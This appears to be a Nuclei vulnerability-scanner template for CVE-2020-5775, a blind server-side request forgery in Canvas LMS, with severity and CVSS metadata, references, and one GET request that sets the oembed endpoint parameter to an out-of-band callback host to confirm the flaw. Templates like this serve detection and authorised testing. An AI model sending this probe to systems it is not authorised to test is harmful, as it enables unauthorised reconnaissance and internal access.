41 lines
1.8 KiB
YAML
41 lines
1.8 KiB
YAML
id: CVE-2020-5775
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info:
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name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery
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author: alph4byt3
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severity: medium
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description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
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remediation: |
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Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2020-49
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- https://nvd.nist.gov/vuln/detail/CVE-2020-5775
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
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cvss-score: 5.8
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cve-id: CVE-2020-5775
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cwe-id: CWE-918
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epss-score: 0.00194
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epss-percentile: 0.57293
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cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: instructure
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product: canvas_learning_management_service
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tags: cve,cve2020,ssrf,oast,blind,tenable,instructure
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http:
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- method: GET
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path:
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- "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 4a0a00473045022100918e8bbee2f70a24536ea9b4b93bcdcb518ee413cb81c7ac821e994b6d6120ba02204345f63adc17a9b7cc30988b3811c511794446f3b0bd1a3796f96550a0d74c57:922c64590222798bb761d5b6d8e72950 |